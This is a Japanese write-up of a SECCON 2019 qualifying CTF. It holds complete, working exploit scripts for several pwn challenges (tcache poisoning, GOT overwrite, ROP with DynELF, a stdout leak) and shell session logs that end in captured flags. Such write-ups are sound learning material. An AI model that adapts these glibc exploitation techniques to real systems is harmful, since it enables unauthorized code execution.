SECCON Online 2019 Qualificationが10月19日の15:00(JST)から24時間開催されました。
今年はNaruseJun
で参加し、全体で5位でした。
1時間程度しか寝ていないので疲れましたが、オンサイトでわいわい解くのは楽しかったです。通したフラグは合計で1736点でした。 手伝った問題なども含めて関与した問題について書きます。
- [misc 110pts] Beeeeeeeeeer
- [pwn 264pts] one
- [pwn 289pts] Sum
- [pwn 332pts] lazy
- [pwn 418pts] remain
- [pwn 444pts] Monoid Operator
- [rev 383pts] 7w1n5
- 感想
問題とソルバはここに置きます。
[misc 110pts] Beeeeeeeeeer
なんかbase64 decodeするとopensslでaes-256-cbcで復号してる箇所があったのですが、鍵がhex4文字だったので総当りして解読しました。 すると難読化シェルスクリプトが出てきたのですが、この時pwnが出題されたのでチームメンバーに任せたら解いてくれました。
[pwn 264pts] one
libc-2.27と64-bit ELFが渡されます。
$ checksec -f one RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 82 Symbols Yes 0 4 one
double freeやUAF(read)がありますが、mallocできるサイズは0x40で固定です。
libc leakが無いことには始まらないので、まずはunsorted binに入るサイズのチャンクをfreeしてshowすることでlibc baseを手に入れます。
ただ、ポインタは1つしか用意されていないため、今回はtcache領域を書き換える方針にしました。
まずは同じチャンクを2回以上freeすることでfdにヒープのアドレスを入れ、ヒープのアドレスをleakします。
大きなチャンクをfreeする際はサイズチェックが入るので、たくさんチャンクを確保して偽のサイズを用意しておきます。
サイズが固定なので、今回はtcacheの管理領域を破壊することにしました。
countやfdに注意すると適切な場所に大きなサイズのチャンクを用意でき、それをfreeすればlibcのアドレスが手に入ります。
あとはtcache poisoningで__free_hook
をsystem
に書き換えればOKです。
from ptrlib import * def add(data): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", data) return def show(): sock.sendlineafter("> ", "2") return sock.recvline() def delete(): sock.sendlineafter("> ", "3") return libc = ELF("./libc-2.27.so") #sock = Process("./one") sock = Socket("one.chal.seccon.jp", 18357) # leak heap add('A') delete() delete() delete() addr_heap = u64(show()) logger.info("heap = " + hex(addr_heap)) # tamper size add(p64(addr_heap - 0x10)) add('dummy') add(p64(addr_heap) + p64(0xdeadbeef)) # tamper tcache for i in range(0x11): add(((p64(0) + p64(0x21)) * 3)[:-1]) add('A') delete() delete() delete() delete() delete() add(p64(addr_heap - 0x10)) add('A' * 8) add(p64(0) + p64(0x421) + p64(addr_heap + 0x50)) add('A' * 8) delete() libc_base = u64(show()) - 0x3ebc40 - 96 logger.info("libc base = " + hex(libc_base)) # tcache poisoning add('A') delete() delete() add(p64(libc_base + libc.symbol("__free_hook"))) add('dummy') add(p64(libc_base + libc.symbol("system"))) add("/bin/sh") delete() sock.interactive()
ほい。
$ python solve.py [+] __init__: Successfully connected to one.chal.seccon.jp:18357 [+] <module>: heap = 0x562d6e045270 [+] <module>: libc base = 0x7fd65ed40000 [ptrlib]$ cat flag.txt SECCON{4r3_y0u_u53d_70_7c4ch3?} [ptrlib]$
[pwn 289pts] Sum
libc-2.27と64-bit ELFが渡されます。
$ checksec -f sum RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols Yes 0 2 sum
RELROやPIEは無効です。 総和を求めてくれるプログラムですが、sumのポインタを上書きできるので、任意アドレスに入力した値の総和を入れられます。 とりあえずexitをmainにしたのですが、その後相当悩みました。 どうやら入力する値の最初の方をROP chainとして使えるようなのですが、全然気付きませんでした。 setvbufの第一引数にstdin/stdoutが渡されますが、setvbufをputsに変えても0xfbad1883が出力されるだけです。 ところが、dynのstdoutはsetvbufでしか使われていないので下位1バイトを破壊してもsetvbufを呼ばない限り怒られません。(この辺はkriwさんといけるんじゃね?的な話をして実現しました。) stdoutを0x10バイトずらすと(setvbufでNULLが設定されているので)libcのアドレスがリークできます。 こうして平和にone gadgetを呼び出してシェルが取れました。
from ptrlib import * from time import sleep def overwrite(target, value): sock.recvuntil("0\n") sock.sendline(str(-target)) sock.sendline(str(2)) sock.sendline(str(-1)) sock.sendline(str(-1)) sock.sendline(str(value)) sock.sendline(str(target)) return elf = ELF("./sum") libc = ELF("./libc.so") #sock = Process("./sum") sock = Socket("sum.chal.seccon.jp", 10001) libc_one_gadget = 0x10a38c # libc leak overwrite(elf.got("exit"), elf.symbol("main")) overwrite(elf.got("__stack_chk_fail"), elf.symbol("main")) overwrite(elf.got("setvbuf"), elf.plt("puts")) overwrite(0x601060 - 7, 0x7000000000000000) overwrite(elf.got("exit"), elf.symbol("_start")) libc_base = u64(sock.recvline()) - libc.symbol("_IO_2_1_stdout_") - 131 logger.info("libc base = " + hex(libc_base)) # one gadget! overwrite(elf.got("exit"), libc_base + libc_one_gadget) sock.interactive()
いぇい。
$ ptytho^C ptr@medium-pwn:~/seccon/sum$ python solve.py [+] __init__: Successfully connected to sum.chal.seccon.jp:10001 [+] <module>: libc base = 0x7f49a2f4a000 [ptrlib]$ cat flag.txt SECCON{ret_call_call_ret??_ret_ret_ret........shell!} [ptrlib]$
[pwn 332pts] lazy
バイナリは渡されませんが、繋ぐと部分的にソースコードが見られます。
$ nc lazy.chal.seccon.jp 33333 1: Public contents 2: Login 3: Exit 1 Welcome to public directory You can download contents in this directory diary_4.txt diary_3.txt diary_1.txt login_source.c diary_2.txt login_source.c ./login_source.c Sending 1201 bytes#define BUFFER_LENGTH 32 #define PASSWORD "XXXXXXXXXX" #define USERNAME "XXXXXXXX" int login(void){ ......[省略] } void input(char *buf){ .....[省略] }
普通にバッファオーバーフローがあるのですが、とりあえずユーザー名とパスワード当てたらフラグが貰えるかなーと思ってバッファオーバーリードでユーザー名とパスワードをリークしました。 すると、オプションにManageが現れてバイナリをダウンロードできるようになります。「.」が付いていたらダウンロードできないのでlibc.so.6はダウンロードできません。 とりあえずlazyをダウンロードするとCanary付きPIE無効なバイナリでした。 普通に考えたらBOFで終わりですが、libcのバージョンがdbに存在しない独自ビルドでした。
そこでlibcをリークしようとしたのですが、接続が途中で切れて最後まで落とせません。 仕方なくret2libcしようとしたりlisting機能を使ってflagのパスを調べたりしましたが、前者は.rel.pltが無くて詰み、降車は用意されたcatを使わないとflagが読めない謎仕様だったのでダメでした。 2時間ほど詰まって私もキれていたのですが、最終的にDynELFで一瞬で解けました。
from pwn import * def login_user(username): sock.sendlineafter("Exit\n", "2") sock.sendlineafter(": ", username) sock.recvuntil(", ") sock.recvline() output = sock.recvline() return output def login_pass(password): sock.sendlineafter(": ", password) return def leak(address): username = b'A' * (0x5f + 0x58) login_user(username) password = b'3XPL01717' password += b'A' * (0x20 - len(password)) password += b'_H4CK3R_' password += b'A' * (0x40 - len(password)) password += b'3XPL01717' password += b'A' * (0x60 - len(password)) password += b'_H4CK3R_' password += b'A' * (0x80 - len(password)) password += p64(0xdeadbeef) password += p64(rop_popper) password += p64(0) password += p64(0) password += p64(1) password += p64(elf.got["write"]) password += p64(0x80) password += p64(address) password += p64(1) password += p64(rop_csu_init) password += p64(0) * 7 password += p64(elf.symbols["_start"]) login_pass(password) return sock.recv(0x80) elf = ELF("../lazy") #sock = process("../lazy") sock = remote("lazy.chal.seccon.jp", 33333) rop_pop_rdi = 0x004015f3 rop_pop_rsi_r15 = 0x004015f1 rop_popper = 0x4015e6 rop_csu_init = 0x4015d0 d = DynELF(leak, elf=elf) addr_system = d.lookup('system', 'libc') print("system = " + hex(addr_system)) # get the shell! username = b'A' * (0x5f + 0x58) login_user(username) password = b'3XPL01717' password += b'A' * (0x20 - len(password)) password += b'_H4CK3R_' password += b'A' * (0x40 - len(password)) password += b'3XPL01717' password += b'A' * (0x60 - len(password)) password += b'_H4CK3R_' password += b'A' * (0x80 - len(password)) password += p64(0xdeadbeef) password += p64(rop_popper) password += p64(0) password += p64(0) password += p64(1) password += p64(elf.got["read"]) password += p64(0x8) password += p64(0x602400) password += p64(0) password += p64(rop_csu_init) password += p64(0) * 7 password += p64(rop_pop_rdi + 1) # ret password += p64(rop_pop_rdi) password += p64(0x602400) password += p64(addr_system) login_pass(password) sock.send("/bin/sh\x00") sock.interactive()
DynELFは有能だったり無能だったりするけど今回は最高に便利でした。
$ python solve.py [*] '/home/ptr/seccon/lazy/lazy' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [+] Loading from '/home/ptr/seccon/lazy/lazy': 0x7fe53d46f170 [+] Resolving 'system' in 'libc.so': 0x7fe53d46f170 [!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked. [*] Magic did not match [*] .gnu.hash/.hash, .strtab and .symtab offsets [*] Found DT_GNU_HASH at 0x7fe53d244c00 [*] Found DT_STRTAB at 0x7fe53d244c10 [*] Found DT_SYMTAB at 0x7fe53d244c20 [*] .gnu.hash parms [*] hash chain index [*] hash chain system = 0x7fe53cee9570 [*] Switching to interactive mode $ ls 810a0afb2c69f8864ee65f0bdca999d7_FLAG cat lazy ld.so libc.so.6 q run.sh $ ./cat 810a0afb2c69f8864ee65f0bdca999d7_FLAG SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!} $
これをやらせたいのならBOFだけでいいと思いますし、最初の方のログインとかディレクトリリスティングとかミスリーディングな要素が多かったのは気に入りませんでした。 (まぁ某web問に比べれば良問ですけどね。)
[pwn 418pts] remain
libc-2.30と64-bit ELFが渡されます。
2.30が出題されたのは観測した限りたぶん初めてだと思います。
double freeとUAF(write)があります。show系の機能はないので_IO_2_1_stdout_
を使う系問題ですね。
最大10個しかチャンクを確保できず、freeしても残るので資源を有効活用する必要があります。
最後に1回malloc + read + free + exitができるので、正確には11回使えます。
ホワイトボードでヒープの様子を描いていたら丁度10回でシェルが取れる順番になったので愚直に実装しました。
私のコードは16ビット分のguessが必要です。
from ptrlib import * flag = False def exploit(): global flag if flag: return """ sock = Process([ "./ld-linux-x86-64.so.2", "--library-path", "./", "./remain_694c2020e3831ebd83b8152600c071af047bdfe4" ]) """ sock = Socket("remain.chal.seccon.jp", 27384) #""" def add(data): sock.sendlineafter("> ", "1") sock.sendafter("> ", data) return def edit(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(index)) sock.sendafter("> ", data) return def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter("> ", str(index)) return # libc leak add("A" * 0x47) # 0 add("A" * 0x47) # 1 add("A" * 0x47) # 2 delete(1) delete(2) edit(2, b'\x90') add("A" * 0x47) # 3 == 2 add(b"A" * 8 + p64(0x581)) # 4 delete(3) delete(1) edit(1, b'\xa0\xf0') add("A" * 0x47) # 5 == 3 == 2 add(b"A" * 8 + b'\x10\xff') # 6 delete(5) edit(6, b"A" * 8 + b'\x10\xf8') add((p64(0) + p64(0x21)) * 4) # 7 delete(2) delete(1) delete(0) try: edit(4, b"A" * 8 + b'\x51\x00') except AttributeError: sock.close() return except: exit() edit(0, b'\xa0\xe6') edit(6, b"A" * 8 + b'\xa0\xf2') add("A" * 0x47) # 8 fake_IO = p64(0xfbad1800) fake_IO += p64(0) * 3 fake_IO += b'\x08' add(fake_IO) # 9 libc_base = u64(sock.recv(8)) - libc.symbol("_IO_2_1_stdin_") print(hex(libc_base)) if libc_base < 0x7f0000000000: sock.close() return logger.info("libc base = " + hex(libc_base)) flag = True delete(0) # overwrite __free_hook edit(6, b"A" * 8 + p64(libc_base + libc.symbol("__free_hook") - 8)[:6]) add(b"/bin/sh\x00" + p64(libc_base + libc.symbol("system"))) sock.sendline("ls") sock.sendline("cat flag.txt") sock.interactive() import threading import time libc = ELF("./libc.so.6") while not flag: th = threading.Thread(target=exploit, args=()) th.start() time.sleep(0.1)
この問題は特に詰まることなく解けました。
$ python solve.py [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 ... [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 0x7f1b2dcd8000 [+] exploit: libc base = 0x7f1b2dcd8000 [+] __init__: Successfully connected to remain.chal.seccon.jp:27384 [ptrlib]$ memo is full!flag.txt ld.so libc.so.6 remain run.sh SECCON{y0u_4r3_m4573r_0f_7h3_n3w357_7c4ch3!!}
[pwn 444pts] Monoid Operator
この問題は基本的にkriwさんが解いてくれました。 mulでオーバーフローしたらstderrを使った後にfreeするのでlibc baseのリークは簡単ですが、シェルを取る方法に悩みました。 終了前にnが使えないFSBがあるのですが、そこでcanaryをbypassする方法をひたすら考えました。 私は早々にリタイアしてremainを始めたのですが、remainを解いている途中にkriwさんが「libcのアドレス分かってるからTLSのcanary取れるくね?」と提案し、その方向で解いてくれました。 canaryだからstackのアドレスをどうやって取るかに囚われてTLSの存在を忘れていました。不覚。
[rev 383pts] 7w1n5
ELFバイナリが2つ渡されます。 点数が低い割にかなり後半まで誰も触れていなかったのでremainを解いた後にやりました。 データを復号するっぽい関数arc4が多用されており、かといって読むのも面倒なのでangrにやらせました。 yoshi-campでふるつきに教えてもらったangrテクニックをふんだんに使ってarc4の復号結果を取得したり、envchkの戻り値を書き換えたりしたらBrother1にフラグの前半が出てきました。
import angr import claripy from logging import getLogger, WARN getLogger("angr").setLevel(WARN + 1) p = angr.Project("./Brother1", load_options={"auto_load_libs": False}) state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) p.hook_symbol("__libc_start_main", angr.SIM_PROCEDURES["glibc"]["__libc_start_main"]()) p.hook_symbol("printf", angr.procedures.libc.printf.printf()) p.hook_symbol("strlen", angr.procedures.libc.strlen.strlen()) p.hook_symbol("__isoc99_sscanf", angr.procedures.libc.scanf.scanf()) p.hook_symbol("sprintf", angr.procedures.libc.sprintf.sprintf()) p.hook_symbol("memcmp", angr.procedures.libc.memcmp.memcmp()) p.hook_symbol("memset", angr.procedures.libc.memset.memset()) p.hook_symbol("calloc", angr.procedures.libc.calloc.calloc()) p.hook_symbol("stat", angr.procedures.linux_kernel.stat.stat()) p.hook_symbol("read", angr.procedures.posix.read.read()) p.hook_symbol("write", angr.procedures.posix.write.write()) @p.hook(0x4011ef, length=0) def hook_arc4(state): data = state.memory.load(state.regs.rdi, state.regs.rsi) print(state.solver.eval(data, cast_to=bytes)) return class hook_chkenv(angr.SimProcedure): def run(self, arg1): return claripy.BVV(1, 32) p.hook_symbol("chkenv", hook_chkenv()) simgr.explore(find=0x40185e, avoid=0x4018bd)
$ python solve.py ERROR | 2019-10-20 18:06:32,313 | angr.project | Could not find symbol printf b'has expired!\nPlease contact your provider\x00' b'\x00' b'/bin/bash\x00' b'-c\x00' b'exec \'%s\' "$@"\x00' b'\x00' b'location has changed!\x00' b'location has changed!\x00' b'abnormal behavior!\x00' b'\x01' b'\x00' b'#!/bin/bash\necho "Let\'s start analysis! :)"\nps -a|grep -v grep|grep -e gdb -e " r2" -q && echo "No no no no no" && exit 1\necho Close! So close! >/dev/null\nfor I in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15\ndo\n date +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSECCON{Which_do_yo|tr A-Za-z N-ZA-Mn-za-m >/dev/null & # base64\xe3\x81\xab\xe3\x81\xaa\xe3\x81\xa3\xe3\x81\xa6\xe3\x81\x84\xe3\x82\x8b\ndone\necho Close! So close! >/dev/null\n\x00' b'shell has changed!\x00' b'shell has changed!\x00'
後半も同じスクリプトで呼び出すバイナリをBrother2に変えたら出てきました。
感想
- 相談できるpwnerがいるのはやはり心強いです。多少難しくてもさくさく進む。
- random pitballの謎命令は知らなかったので、解けなかったですが勉強になりました。
- 面白い問題が多かったです。と同時に年々難しくなっている気がします。
- exeのweb問は評判悪いから変えた方が良いのでは?
- オンサイトで集まってやるとやる気も出るし楽しい。
運営および参加者の方々、お疲れ様でした。